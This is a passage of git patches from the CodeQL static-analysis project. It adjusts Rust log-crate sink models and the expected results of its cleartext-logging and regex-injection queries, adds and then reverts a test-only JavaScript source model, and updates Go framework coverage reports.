[tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | +| test_logging.rs:129:25:129:32 | password | semmle.label | password | +| test_logging.rs:131:5:131:32 | ...::log | semmle.label | ...::log | +| test_logging.rs:131:12:131:31 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:131:28:131:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | | test_logging.rs:152:5:152:38 | ...::_print | semmle.label | ...::_print | | test_logging.rs:152:12:152:37 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:152:30:152:37 | password | semmle.label | password | @@ -260,33 +439,3 @@ nodes | test_logging.rs:181:23:181:48 | { ... } | semmle.label | { ... } | | test_logging.rs:181:41:181:48 | password | semmle.label | password | subpaths -testFailures -| test_logging.rs:42:39:42:72 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:43:39:43:72 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:44:38:44:71 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:45:39:45:72 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:46:38:46:71 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:47:51:47:84 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:52:39:52:72 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:54:52:54:85 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:56:50:56:83 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:57:37:57:70 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:58:39:58:72 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:60:57:60:90 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:65:51:65:84 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:67:69:67:102 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:72:50:72:83 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:74:68:74:101 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:76:50:76:83 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:82:47:82:80 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:84:65:84:98 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:86:47:86:80 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:93:25:93:38 | //... | Missing result: Source=m1 | -| test_logging.rs:94:32:94:68 | //... | Missing result: Alert[rust/cleartext-logging]=m1 | -| test_logging.rs:96:52:96:65 | //... | Missing result: Source=m2 | -| test_logging.rs:97:22:97:58 | //... | Missing result: Alert[rust/cleartext-logging]=m2 | -| test_logging.rs:99:49:99:62 | //... | Missing result: Source=m3 | -| test_logging.rs:100:22:100:59 | //... | Missing result: Alert[rust/cleartext-logging]=m3 | -| test_logging.rs:118:45:118:78 | //... | Missing result: Alert[rust/cleartext-logging] | -| test_logging.rs:129:36:129:49 | //... | Missing result: Source=t1 | -| test_logging.rs:131:35:131:71 | //... | Missing result: Alert[rust/cleartext-logging]=t1 | From 7fc7b7cc04eb5df5c03d0842438efc8949d06d8c Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 27 Mar 2025 18:04:18 +0000 Subject: [PATCH 115/121] Rust: fix CleartextLogging query --- .../lib/codeql/rust/frameworks/log.model.yml | 8 ++- .../security/CWE-020/RegexInjection.expected | 8 +-- .../CWE-312/CleartextLogging.expected | 60 +++++++++---------- 3 files changed, 39 insertions(+), 37 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/log.model.yml b/rust/ql/lib/codeql/rust/frameworks/log.model.yml index 8634f55f239..d6ac223742f 100644 --- a/rust/ql/lib/codeql/rust/frameworks/log.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/log.model.yml @@ -3,9 +3,11 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: - - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[0]", "log-injection", "manual"] # args - - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[2]", "log-injection", "manual"] # target - - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[3]", "log-injection", "manual"] # key value + - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[0]", "log-injection", "manual"] # logger / args (pre v0.4.27) + - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[1]", "log-injection", "manual"] # args / level (pre v0.4.27) + - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[2]", "log-injection", "manual"] # level / target (pre v0.4.27) + - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[3]", "log-injection", "manual"] # target / key value (pre v0.4.27) + - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[4]", "log-injection", "manual"] # key value - ["lang:std", "crate::io::stdio::_print", "Argument[0]", "log-injection", "manual"] - ["lang:std", "crate::io::stdio::_eprint", "Argument[0]", "log-injection", "manual"] - ["lang:std", "::write", "Argument[0]", "log-injection", "manual"] diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected index 430296c7c01..1dd626144da 100644 --- a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected +++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected @@ -2,15 +2,15 @@ | main.rs:6:25:6:30 | ®ex | main.rs:4:20:4:32 | ...::var | main.rs:6:25:6:30 | ®ex | This regular expression is constructed from a $@. | main.rs:4:20:4:32 | ...::var | user-provided value | edges | main.rs:4:9:4:16 | username | main.rs:5:25:5:44 | MacroExpr | provenance | | -| main.rs:4:20:4:32 | ...::var | main.rs:4:20:4:40 | ...::var(...) [Ok] | provenance | Src:MaD:62 | -| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1625 | +| main.rs:4:20:4:32 | ...::var | main.rs:4:20:4:40 | ...::var(...) [Ok] | provenance | Src:MaD:64 | +| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1627 | | main.rs:4:20:4:66 | ... .unwrap_or(...) | main.rs:4:9:4:16 | username | provenance | | | main.rs:5:9:5:13 | regex | main.rs:6:26:6:30 | regex | provenance | | | main.rs:5:17:5:45 | res | main.rs:5:25:5:44 | { ... } | provenance | | | main.rs:5:25:5:44 | ...::format(...) | main.rs:5:17:5:45 | res | provenance | | | main.rs:5:25:5:44 | ...::must_use(...) | main.rs:5:9:5:13 | regex | provenance | | -| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:98 | -| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3048 | +| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:100 | +| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3050 | | main.rs:6:26:6:30 | regex | main.rs:6:25:6:30 | ®ex | provenance | | nodes | main.rs:4:9:4:16 | username | semmle.label | username | diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 3f417d62ebc..c085f429058 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -15,14 +15,14 @@ | test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password | | test_logging.rs:67:5:67:66 | ...::log | test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password | | test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password | -| test_logging.rs:72:5:72:47 | ...::log::<...> | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | -| test_logging.rs:74:5:74:65 | ...::log::<...> | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | -| test_logging.rs:75:5:75:51 | ...::log::<...> | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | -| test_logging.rs:76:5:76:47 | ...::log::<...> | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | -| test_logging.rs:82:5:82:44 | ...::log::<...> | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | -| test_logging.rs:84:5:84:62 | ...::log::<...> | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | -| test_logging.rs:85:5:85:48 | ...::log::<...> | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | -| test_logging.rs:86:5:86:44 | ...::log::<...> | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | +| test_logging.rs:72:5:72:47 | ...::log | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | +| test_logging.rs:74:5:74:65 | ...::log | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | +| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | +| test_logging.rs:76:5:76:47 | ...::log | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | +| test_logging.rs:82:5:82:44 | ...::log | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | +| test_logging.rs:84:5:84:62 | ...::log | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | +| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | +| test_logging.rs:86:5:86:44 | ...::log | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | | test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password | | test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password | | test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | @@ -94,35 +94,35 @@ edges | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config | | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance | | -| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance | | -| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance | | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | | test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config | | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance | | -| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance | | -| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance | | -| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance | | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | | test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config | | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance | | -| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance | | | test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance | | | test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance | | @@ -224,8 +224,8 @@ models | 6 | Sink: lang:std; ::write_all; log-injection; Argument[0] | | 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | | 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | -| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[0] | -| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[2] | +| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | +| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | | 11 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; taint | | 12 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; taint | | 13 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | @@ -289,13 +289,13 @@ nodes | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:68:19:68:26 | password | semmle.label | password | -| test_logging.rs:72:5:72:47 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:72:5:72:47 | ...::log | semmle.label | ...::log | | test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:72:39:72:46 | password | semmle.label | password | -| test_logging.rs:74:5:74:65 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:74:5:74:65 | ...::log | semmle.label | ...::log | | test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:74:57:74:64 | password | semmle.label | password | -| test_logging.rs:75:5:75:51 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log | | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | | test_logging.rs:75:20:75:28 | &password | semmle.label | &password | @@ -303,16 +303,16 @@ nodes | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:75:21:75:28 | password | semmle.label | password | -| test_logging.rs:76:5:76:47 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:76:5:76:47 | ...::log | semmle.label | ...::log | | test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:76:39:76:46 | password | semmle.label | password | -| test_logging.rs:82:5:82:44 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:82:5:82:44 | ...::log | semmle.label | ...::log | | test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:82:36:82:43 | password | semmle.label | password | -| test_logging.rs:84:5:84:62 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:84:5:84:62 | ...::log | semmle.label | ...::log | | test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:84:54:84:61 | password | semmle.label | password | -| test_logging.rs:85:5:85:48 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log | | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | | test_logging.rs:85:20:85:28 | &password | semmle.label | &password | @@ -320,7 +320,7 @@ nodes | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:85:21:85:28 | password | semmle.label | password | -| test_logging.rs:86:5:86:44 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:86:5:86:44 | ...::log | semmle.label | ...::log | | test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:86:36:86:43 | password | semmle.label | password | | test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 | From 2460874f4702e86fff1a55c524e0a1d48a4cb6ad Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 27 Mar 2025 20:13:27 +0100 Subject: [PATCH 116/121] JS: Add bogus model for testing --- .../ql/lib/ext/guarded-route-handler-stress-test.model.yml | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml diff --git a/javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml b/javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml new file mode 100644 index 00000000000..3c79088d1c1 --- /dev/null +++ b/javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: sourceModel + data: + - ["passport", "AnyMember.ReturnValue.GuardedRouteHandler.Parameter[0].Member[user]", "remote"] From ed3dc56ea0578ff7c19130cf82edbb9b1769af11 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Fri, 28 Mar 2025 00:22:03 +0000 Subject: [PATCH 117/121] Add changed framework coverage reports --- go/documentation/library-coverage/coverage.csv | 6 +++--- go/documentation/library-coverage/coverage.rst | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/go/documentation/library-coverage/coverage.csv b/go/documentation/library-coverage/coverage.csv index aa938f4c2bb..d8091bbda64 100644 --- a/go/documentation/library-coverage/coverage.csv +++ b/go/documentation/library-coverage/coverage.csv @@ -21,7 +21,7 @@ errors,,,3,,,,,,,,,,,,,,,,,,,,,,,3, expvar,,,6,,,,,,,,,,,,,,,,,,,,,,,6, fmt,3,,16,,,,3,,,,,,,,,,,,,,,,,,,16, github.com/ChrisTrenkamp/goxpath,3,,,,,,,,,,,,,,,,,,3,,,,,,,, -github.com/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,, +github.com/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,, github.com/Sirupsen/logrus,145,,,,,,145,,,,,,,,,,,,,,,,,,,, github.com/antchfx/htmlquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,, github.com/antchfx/jsonquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,, @@ -77,7 +77,7 @@ github.com/kataras/iris/server/web/context,6,,,,,,,,6,,,,,,,,,,,,,,,,,, github.com/kataras/jwt,5,,,,5,,,,,,,,,,,,,,,,,,,,,, github.com/kelseyhightower/envconfig,,6,,,,,,,,,,,,,,,,,,,,6,,,,, github.com/labstack/echo,3,12,2,,,,,,2,,,,,,,1,,,,,,,,12,,2, -github.com/lann/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,, +github.com/lann/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,, github.com/lestrrat-go/jwx,2,,,,2,,,,,,,,,,,,,,,,,,,,,, github.com/lestrrat-go/libxml2/parser,3,,,,,,,,,,,,,,,,,,3,,,,,,,, github.com/lestrrat/go-jwx/jwk,1,,,,1,,,,,,,,,,,,,,,,,,,,,, @@ -106,7 +106,7 @@ google.golang.org/protobuf/internal/encoding/text,,,1,,,,,,,,,,,,,,,,,,,,,,,1, google.golang.org/protobuf/internal/impl,,,2,,,,,,,,,,,,,,,,,,,,,,,2, google.golang.org/protobuf/proto,,,8,,,,,,,,,,,,,,,,,,,,,,,8, google.golang.org/protobuf/reflect/protoreflect,,,1,,,,,,,,,,,,,,,,,,,,,,,1, -gopkg.in/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,, +gopkg.in/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,, gopkg.in/couchbase/gocb,8,22,48,,,,,8,,,,,,,,,,,,,22,,,,,48, gopkg.in/glog,90,,,,,,90,,,,,,,,,,,,,,,,,,,, gopkg.in/go-jose/go-jose,3,,4,,2,1,,,,,,,,,,,,,,,,,,,,4, diff --git a/go/documentation/library-coverage/coverage.rst b/go/documentation/library-coverage/coverage.rst index 08f7b73d800..2f45f4b7e33 100644 --- a/go/documentation/library-coverage/coverage.rst +++ b/go/documentation/library-coverage/coverage.rst @@ -31,7 +31,7 @@ Go framework & library support `MongoDB Go Driver `_,``go.mongodb.org/mongo-driver*``,11,5,14 `Revel `_,"``github.com/revel/revel*``, ``github.com/robfig/revel*``",46,20,4 `SendGrid `_,``github.com/sendgrid/sendgrid-go*``,,1, - `Squirrel `_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",,,96 + `Squirrel `_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",81,,96 `Standard library `_,"````, ``archive/*``, ``bufio``, ``bytes``, ``cmp``, ``compress/*``, ``container/*``, ``context``, ``crypto``, ``crypto/*``, ``database/*``, ``debug/*``, ``embed``, ``encoding``, ``encoding/*``, ``errors``, ``expvar``, ``flag``, ``fmt``, ``go/*``, ``hash``, ``hash/*``, ``html``, ``html/*``, ``image``, ``image/*``, ``index/*``, ``io``, ``io/*``, ``log``, ``log/*``, ``maps``, ``math``, ``math/*``, ``mime``, ``mime/*``, ``net``, ``net/*``, ``os``, ``os/*``, ``path``, ``path/*``, ``plugin``, ``reflect``, ``reflect/*``, ``regexp``, ``regexp/*``, ``slices``, ``sort``, ``strconv``, ``strings``, ``sync``, ``sync/*``, ``syscall``, ``syscall/*``, ``testing``, ``testing/*``, ``text/*``, ``time``, ``time/*``, ``unicode``, ``unicode/*``, ``unsafe``, ``weak``",52,609,104 `XORM `_,"``github.com/go-xorm/xorm*``, ``xorm.io/xorm*``",,,68 `XPath `_,``github.com/antchfx/xpath*``,,,4 @@ -74,5 +74,5 @@ Go framework & library support `yaml `_,``gopkg.in/yaml*``,,9, `zap `_,``go.uber.org/zap*``,,11,33 Others,``github.com/kanikanema/gorqlite``,8,2,24 - Totals,,560,1048,1556 + Totals,,641,1048,1556 From 951b48adfe947510d9c600c9a6c34415c8c18a82 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 28 Mar 2025 09:24:49 +0100 Subject: [PATCH 118/121] Revert "JS: Add bogus model for testing" This reverts commit 2460874f4702e86fff1a55c524e0a1d48a4cb6ad. --- .../ql/lib/ext/guarded-route-handler-stress-test.model.yml | 6 ------ 1 file changed, 6 